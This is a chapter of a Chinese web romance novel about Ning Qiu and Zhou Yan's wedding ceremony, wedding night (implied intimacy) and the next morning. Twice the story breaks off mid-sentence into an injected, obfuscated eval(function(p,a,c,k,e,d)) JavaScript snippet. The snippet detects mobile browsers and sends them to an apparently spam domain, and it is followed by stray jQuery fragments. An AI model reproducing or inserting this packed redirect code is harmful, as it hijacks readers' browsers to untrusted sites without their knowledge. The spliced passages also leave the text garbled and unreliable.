街坊客气两句就带着孩子匆匆往晾晒场走，没一会儿，唢呐锣鼓声越来越大，迎亲队伍出现在眼前。 周母心中一喜，忙指挥娘家嫂子帮忙搬火盆，铺地的席子也要准备好。 “大哥，拜堂用的物什都准备好了吗？” 周舅舅粗声粗气回道：“都搞定了，你安心做喜婆婆，其他事交给我们。” 有自家大哥这句话，周母悬着的心总算放下来，笑盈盈地将新房中的大红喜烛点燃，检查整理好衣裳，坐到高堂唯一的椅子上。 她的身侧依次摆放着三个牌位，此时此刻，新郎和新娘的至亲都到齐了。 “新娘子到了。” 有小孩子急哄哄跑进院子大喊两声，又兴奋地跑出去。 门口的鞭炮声响起，周母伸长脖子探头探脑，就这么看着两个大红身影亦步亦趋走进来。 红盖头遮掩她看不见宁秋的神情，但是自家儿子笑得不要钱的模样她看的真切。 这个臭小子，之前撮合他和秋秋时他还犹犹豫豫不太赞同，现在好了，媳妇进门，这个家会越来越热闹。 宁秋一出花轿就感觉有无数道视线落到自己的身上，唢呐锣鼓声、贺喜谈笑声，还有鞭炮震耳欲聋的巨响，各种声音交织占据了她的耳朵。 眼睛被盖头遮挡看不到前方的路让她感到无措，身侧有两个人在说话，一个让她往前走，一个说不着急，她不知该走还是不该走。 正在这时，局促的右手被人紧紧握住，周砚的声音盖过其他声音在她的耳边响起，他说道：“秋秋跟我走，先跨火盆，有我在别怕。” 宁秋没应声，下意识颔首，红盖头随着她的动作轻轻晃动，而后她凭借周砚的力道指引往前走，跨过火盆、踩过草席，一路抵达周母的面前。 周围依旧是不绝于耳的起哄声，周母坐在上首笑得合不拢嘴，看两孩子随着司仪的唱和拜天地，她没忍住红了眼眶。 丈夫过世后，她拒绝了好几个问亲的人，一个人辛辛苦苦将儿子拉扯长大，守着他们一家三口的家，一过就是二十几年。 其间有心酸有幸福，也曾后悔过，如今这个家蒸蒸日上，增添新成员，以后还有小孙儿小孙女乖乖巧巧唤她奶奶，过去二十几年的辛苦也算是值得了。 “夫妻对拜结连理。” “送入洞房迎新生。” 随着司仪的贺词落下，宁秋惊呼一声，整个人突然腾空而起，吓得她浑身一颤下意识搂住周砚的脖子，动作太大，红盖头差点就被晃掉了。 她有些恼，只是没等她发作，一群人便起哄着跟在他们夫妻后面进入新房。 “哦哦哦，看新娘子咯！” “亲一个亲一个！” 屋子不大，一下子进来那么多人显得十分拥挤。 周砚将宁秋轻轻放到喜床上，食指往唇前一竖，众人纷纷安静下来。 媒婆有眼色地递上秤杆，脸上堆满了笑容，示意周砚可以进行下一个仪式了。 周砚手握秤杆，紧张地看着面前端坐的姑娘，掌心渐渐沁出薄汗。 他一挥一挑，绣工精美的红盖头瞬间飞起，露出宁秋不同往常的娇美脸庞，如水般的眼眸羞涩抬起又迅速避开，屋内有片刻安静，周砚也愣神好一会儿。 “新娘子真漂亮，咱们新郎官真有福气。”媒婆倒出两杯酒端到周砚身侧，笑盈盈地提醒，“新郎新娘该喝合卺酒了，祝二位和和美美，早生贵子。” 周砚闻言立马回神，小心翼翼接过两杯酒，上前两步走到宁秋的面前。将其中一杯递给她。 宁秋没喝过酒，周围人又多，她又羞又急，脑子稀里糊涂，周砚让她怎么做她就怎么做。 喝酒时，由于太过实诚，一口闷，辛辣口感顷刻间在她口中蔓延，又猝不及防滑入喉咙。 味道实在太刺激，宁秋完全没有准备，当即便被辣味冲击直接皱起小脸。 周砚反应很快，一看宁秋的反应立马转身倒水递给她，温声道：“快喝点水缓一缓。” 他的担忧，他的贴心，如同一颗石子投入平静的湖面，刹那间荡起阵阵涟漪。 安静许久的围观众人再次哄闹起来，其中就属陈安喊的最大声。 陈红梅手中攥着飞过来的红盖头，听见陈安咋咋呼呼下意识看过去，正好陈安也往这边看，目光相接，他灿烂的笑脸瞬间僵住，不好意思挠挠头，张扬肆意通通收敛，露出一抹属于少年人的羞涩。 “砚哥，亲一个吧！” 一个看起来年纪比陈安小的少年突然大声喊，这会儿宁秋已经缓过来了，听到起哄内容害羞地低下头。 周砚回望人群，俊脸一板，锐利的眼神扫过去，大家伙不约而同噤声了。 察觉到气氛不对，宁秋拉了拉周砚的衣摆，提醒他注意点，周砚这才收敛些。 成亲是大喜事，没必要为了一点小事闹得不愉快，坏了大家伙的心情。 宁秋想的通透，当即调整好自己的状态笑着笑起来，说道：“既然大家伙想看，那便亲一下，只亲一下哦！” 她的声音温柔却充满力量，此话一出，屋里的气氛再度活跃起来。 周砚也很配合，说亲就亲了，亲完他不给其他人反应的时间立马付出赶人行动。 “砚哥，闹洞房是送福气，才闹一会儿你怎么就赶人了，哎哎哎……别挤我！砚哥！” 陈安嚷嚷的最大声，跑路也是最快的，他有眼色，故意这样，好让其他人也赶紧离开，不打扰新婚小夫妻相处。 人群闹闹哄哄的来，又闹闹哄哄的走，很快屋子里就只剩下宁秋和周砚了。 两两相望，都没忍住笑出来。 周砚将两人剪下来的头发放进装婚书的木盒中，目光在屋子里巡视一圈，还是决定收紧柜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852921|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里好好保存。 忙活完，周砚也不知接下来要干嘛，两人大眼瞪小眼，宁秋噗嗤笑道：“行了，你该干嘛就干嘛，不用管我，又不是小孩子了。” “嗯。”周砚点头认同，可思来想去还是有点不放心，“我出去应酬敬酒，你先卸妆，饭菜晚些娘会送过来，需要什么记得和娘说，莫要委屈自己。” “好了好了，我都知道。” 宁秋拿他没办法，只好付诸行动，起身推他往外走，嘴上略带嫌弃地念叨着：“刚认识你的时候，冷冰冰一个人，不管跟谁说话，都一副讨债的严肃样，不爱说话，现在怎么越处越啰嗦了？” “莫忧心，好好招待你的兄弟们。哦对了，要是看到婉莹和红梅姐她们，麻烦你让她们过来和我一起吃饭。” 周砚顺着宁秋推动的力道慢慢往门口走，听她交代，当即点头，道：“好，我让她们过来陪你。” 宁秋无所谓小姐妹陪不陪她，席面丰盛，她们在外面吃席也没问题，她只是想找借口打发周砚出去忙活，以免二人在新房呆太久别人胡乱揣测。 “那我走了。” “嗯嗯，走吧走吧！”宁秋挥挥手，目送周砚走出大门。 回神时，她见家中三桌席面上的亲戚都盯着她，忙笑笑说几句客气话。 屋门一关，宁秋立马卸下伪装，累的直接趴床上了。 家里三桌都是自家亲戚，不需要花太多精力去招待，周砚出门直奔晾晒场，陈安等人已经在那等候了，按昭规矩，他要一桌桌敬酒，喝多喝少就看宾客们的良心了。 席面上推杯换盏，吃吃喝喝间，日头西斜，女眷、小孩和老人吃饱饭陆陆续续离开，只剩下几桌老爷们仍旧舍不得放下酒盏。 周砚酒量好，喝了一轮面上也只是微微泛红，神识很清明。 他看看天色，想到家中如花似玉的新娘子，心头火热，到底是没耐心再喝下去了。 “感谢各位兄弟捧场贺喜，大家伙吃好喝好，若有招待不周之处还望大家海涵，有机会再请大家喝酒赔礼，这杯先敬大家。” 周砚举起酒碗一饮而尽。 “喝太多了，我要去放放水，不陪你们喝了，都随意。” 陈淮见周砚有去意，笑着拆穿他：“我看你是想新娘子了，不想跟我们一群大老爷们待在一起。” 众人一听，纷纷露出“我都懂”的神色，一个接一个的打趣他。 “都是好兄弟，你们也真是的，看破不说破的道理懂不懂？” “就是就是。” “李长宏，瞧你说这话，感情我们都是恶人，就你一个好人。” 众人闹闹哄哄，打趣一通就放周砚走人了。 夜幕以肉眼可见的速度变化，周砚脱身回家时，巷子里的光线已经变得昏暗，勉强能看清前路，庭院里吃席的亲戚们也全部离开。 周砚回到家中喊了两声“娘”，没见人应声，估摸他娘陪舅舅舅妈他们住客栈去了。 早前说好的事情，他并不意外。 思及此，他反锁大门，熟练地打水洗澡，目光不知往屋门看了多少回。 水声哗啦啦响了两刻钟，热水冷水交替洗。 周砚搓了又搓，总算洗去一身酒气，干干爽爽走向挂满红绸的新房。 54. 亲密 宁秋这会儿紧张的不行，隔两息就看一眼门口，却迟迟等不到熟悉的身影，反倒被外面断断续续的水声扰的心神不宁。 她猜想周砚是故意的，不然洗个澡水声怎么可能那么大？ 突然，水声停了，宁秋不自觉攥紧新换的寝衣，一息，两息，三息，屋门依旧岿然不动。 她探头探脑，有些说不清自己的真实感受了。 期待？害怕？ 还是好奇？ 脚步声停在屋门口，宁秋也顾不得多想了，慌慌张张将手中的画册往床底丢，准头不行，画册直接撞上床柱又弹了出来，落地正好翻开最劲爆的一页，图与解说文字皆呈现在她的眼前。 “真是要命。” 宁秋嘀咕一句，赶忙下床捡画册，嗖一下出手，画册稳稳当当落在床底最深处。 她的动作很迅速，手法干净利落，只是周砚的动作也不慢，推门时正好看到她蹲在地上扔书的一幕。 空气死一般安静。 听到开门声音的宁秋僵硬地回过头，冲周砚露出一个很难看的笑容。 “周......周大哥，好巧，你怎么这会儿进来了？” 周砚脚步顿住，高大的身体顺势倚靠在门框上，笑盈盈望着蹲在地上的姑娘，反问道：“新婚夜，现在不进来要等何时？” 宁秋一噎，讷讷不知说什么好。 “秋秋的身手真让为夫惊喜，那动作那姿势，就是武学宗师过来都要赞一声好苗子。” 周砚没忍住打趣一句，话说出口，他自己都没忍住闷笑出声。 “哼，你倒是让武学宗师过来啊！正好我也能学两招。” 宁秋瞪他一眼，没好气道：“之前你总严肃着一张脸，瞧着虽然凶了些，但好歹是个正经人，靠得住，现在看来，你的正经都是假的，假正经。” “秋秋，你是我媳妇。”周砚眉头一蹙，顺手将屋门关上，一步步走向宁秋，在她身边蹲下继续说道：“成了亲要睡同一个被窝，你见哪个男人会对自己的媳妇正经？” 他的话过于直白，宁秋支支吾吾好一会儿也说不出反驳的话，当即沉默了。 看出宁秋的窘迫，周砚揉了揉她松软的头发，转移话题问道：“你刚扔了什么？” “没，没什么。”宁秋不自在地甩甩头，躲开了他的手，“刚梳顺的头发都被你揉乱了。” “乱了我再帮你梳。” 说没什么周砚半点不信，反正已经蹲下来了，俯身看一眼床底也只是顺带的事。 察觉到周砚的小动作，宁秋担心自己看画册的事被他知道，情急之下伸手要捂他的眼睛。 可惜她力道没把控好，身体动作幅度太大以至于打破下蹲的平衡，整个人不受控制地往前扑。 变故突生，宁秋反应还算快，浑身上下都在用力，脚趾更是紧紧扣着鞋底，只是颓势已成，不过眨眼的功夫她便以一个奇怪的姿势将周砚扑倒。 “哎哟！” 宁秋一声惊呼，鼻子正好撞到周砚的下巴，疼痛袭来，泪水瞬间奔涌而出。 “怎么样了？” 周砚躺在地上，伸手扶住宁秋的脸，想看看伤没伤着。 “撞到鼻子了，疼！”宁秋呜呜哭出声，“我不想哭的，呜呜，眼泪绷不住。” 明明是受伤痛苦的场景，却因宁秋可爱又可怜的反应变了味。 周砚顺势搂住她，哄人的话一句接一句，面上的笑容根本停不下来，胸膛一颤一颤的，都不用特意去看都知道他什么反应。 算了，毁灭吧！ 宁秋缓了好一会儿终于缓过那阵疼痛，意识到周砚在笑自己都懒得计较了，趴在他的胸膛上，感叹人生艰难。 许是方才的动作太激烈，宁秋大红色的寝衣衣领变得松松垮垮斜向一侧。 她自己没注意到，紧紧贴着周砚，渐渐的，她感觉身体好像越来越热了，完全不是晚春三月该有的温度。 “那个，好像有点热。” “嗯，是有点。”周砚敷衍地回答。 胸膛上的柔软与后背坚硬的地面形成了鲜明的对比，他的眸色越来越深，搂着宁秋的手臂紧了松，松了紧，却没有要放开的意思。 “那我们起来吧！” 宁秋后知后觉有些尴尬，说着，也不等周砚的回答直接躬身起来，寝衣随着她的动作滑开，露出绣着鸳鸯的红色心衣。 周砚双拳紧握，幽深的双眸只看了一眼就匆匆避开，随即迅速爬起身，留下一句“衣服脏了，我去洗洗换一身”便逃一般出了屋子。 宁秋刚想多问两句，后知后觉意识到周砚不寻常的目光，低头一看，天都塌了。 此时此刻的她乌发披肩，衣裳凌乱，春光乍泄，可不就像话本子里描述的那样么，难怪周砚跑那么快。 “呆子，这种时候衣服脏不脏还重要吗？” 宁秋小声吐槽一句，迅速换上干净的寝衣，躺到床榻上。 床帐垂落，大红喜烛尽情燃烧，火光时不时跳动，屋内光线随着火光变化忽明忽暗，给帐中曼妙的身姿增添一份勾人的神秘感。 宁秋现在满脑子都是画册上的内容，循环往复，等待的过程对于她而言是一种煎熬。 好在周砚动作快，说是换干净衣裳，实则他出去的时候压根没拿衣裳，上衣一脱，用冷水简单擦了擦上身，紧实的肌肉纹理便蒙上一层薄薄的水光。 他看了眼木盆里的上衣，犹豫一下，放弃了重新拿起来穿的念头。 反正一会儿也要脱，不穿也罢。 房门一开一合，周砚重新回新房中，看见了不一样的光景。 他深吸一口气，一步步朝床的位置走去。 片刻后，床榻有明显下沉，宁秋不自觉攥紧被角，保持侧躺背对来人的姿势，随即她感觉另一半床多了一个人。 她没吭声，只是心里更紧张了。 睡没睡着通过呼吸便可判断出来，周砚从军时与一堆人睡一个营帐，经验足，靠近床就知道宁秋还没醒着。 “秋秋，时辰不早了，要不我们歇下吧？” 他反复给自己做心里建设，终于将最想问的话问出口了。 宁秋也没有矫情，紧张害怕是一回事，新婚洞房夜却是逃不掉的，拖拉再久，最终也依旧要面对。 她轻“嗯”一声，刷一下转身面对着周砚，四目相对，周砚喉结滚动，一点点凑近。 从姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867736|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小巧的鼻子到红润饱满的唇瓣，周砚流连不绝，一步步深陷，渐渐不满足于此，很快，他富有侵略性的目光落在宁秋泛红的耳朵上。 宁秋感觉自己要呼吸不上来了，不受控哼哼两声，周砚立马松开，灼热的气息喷洒在她的脸颊，随即热气转移，耳朵迎来一阵湿热，撩得她浑身发软，不知不觉间，红色的寝衣褪去…… 周砚的眸色越发深沉，看着心爱的姑娘一点点沉沦，他的心中涌现出一种前所未有的满足。 红帐摇曳，热浪一场盖过一场。 夜渐深，偶有春风拂过院落，又不舍离去，余留满室温情。 宁秋不知道自己什么时候睡着的，再度睁眼，入目是一片红色，身侧的位置已经空了。 她懒懒地摊开双臂，突然想起今日要给周母敬茶，只得摁下赖床的心思，挣扎着起床。 谁知她刚动了一下，右腿就不受控制抽了抽，随即不适感席卷她的全身，坐起来又立马躺回去。 “周砚，你个混蛋。” 宁秋低骂一句，哼哼唧唧轻揉发酸发疼的腰，望着大红床帐顶幽幽叹气。 也不知道是不是她的怨念太重被周砚感知到了，骂完没多久，屋门就被人由外推开，随即熟悉的脚步声传进床帐内，落入宁秋的耳中。 她侧头往外看，便见周砚端着一盆水，一脸严肃地走进来。 “醒了就起吧！”周砚隔着床帐淡声说道。 宁秋没应，别过脸不看他。 迟迟没有得到回应，周砚放好水盆，疑惑地看了一眼床上的人影，随即大步而来，一把掀开垂落的床帐，待看清里面的人此时正睁着一双明亮的眼睛望向他，才柔和了眉眼，低声继续说道：“娘从客栈回来了，给我们带了早饭，你先起床吃饭敬茶，若是忙完还觉得困，回屋睡回笼觉也成。” “我没有胃口。”宁秋幽怨地看向他。 夫妻俩还没说几句话，外头居然传来周母的询问：“秋秋醒了吗？要是没醒别打扰她。” 宁秋还没反应过来，周砚立马回一句：“醒了，您自己先吃，不用等我们。” 宁秋：…… “看，娘催咱们了，再赖床，会被笑话的。”周砚面不改色说道。 他没发觉自己有问题，伸手要拉宁秋，被她躲开了。 宁秋恼道：“不会说话就别说了，按照你这种传话方式，我跟婶娘即便没有婆媳矛盾也迟早要被你整出来。” “婶娘明明说的是我没起就不要打扰，让我继续睡，结果到你这就变成她老人家催促了，哼，要是被婶娘听见，非得挥扫把揍你。再说了，我为什么会睡到现在你心里没点数吗？” 宁秋的声音越来越小，忍着身体的不适慢悠悠坐起来，准备起床洗漱。 周砚听了这话，余光瞥见宁秋脖子附近的红痕，心虚地摸了摸鼻子，不说话了。 他小心翼翼护着自家媳妇，在旁辅助她洗漱，一会儿递水，一会儿递毛巾，殷勤的态度像是换了一个人。 宁秋有些烦他碍手碍脚，换衣裳时赶他出去，他还不乐意，磨磨蹭蹭，最终如愿以偿亲了两口才慢腾腾离开。 婚后第一天，宁秋感触最深的还是周砚的变化。